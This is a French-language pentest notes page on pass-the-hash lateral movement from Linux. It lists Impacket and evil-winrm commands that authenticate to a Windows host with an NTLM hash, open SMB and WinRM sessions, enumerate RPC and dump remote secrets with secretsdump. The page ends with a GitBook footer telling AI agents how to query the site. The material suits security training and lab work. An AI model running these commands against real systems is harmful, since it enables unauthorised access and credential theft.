> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-hash-on-linux.md).

# Pass-the-Hash sous Linux

Depuis Linux, nous pouvons faire la même chose avec les outils Impacket.

```bash
smbclient.py whoami.local/administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86

utiliser c$
```

<figure><img src="/files/5fe6a659aad4345e89d931868af98daefac22d82" alt=""><figcaption></figcaption></figure>

Pour un accès à distance via WinRM, nous pouvons aussi utiliser `evil-winrm`.

```bash
evil-winrm -i 172.16.0.10 -u Administrador -p Password
```

<figure><img src="/files/ec2d531445843ab69579565b13dee794a03d3360" alt=""><figcaption></figcaption></figure>

La même connexion peut être établie directement avec le hash.

```bash
evil-winrm -i 172.16.0.100 -u Administrador -H a87f3a337d73085c45f9416be5787d86
```

Pour extraire des secrets à distance, nous pouvons utiliser `secretsdump.py`.

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/39758cd4099d2708553f09aeb13b6c44141762e6" alt=""><figcaption></figcaption></figure>

Nous pouvons également interroger des services RPC avec `rpcdump.py`.

```bash
rpcdump.py -hashes 000000000000000000000000:a87f3a337d73085c45f9416be5787d86 -port 135 whoami/administrador@172.16.0.100
```

<figure><img src="/files/9112fb00335ef2b9e42553f14c01195865575561" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-hash-on-linux.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
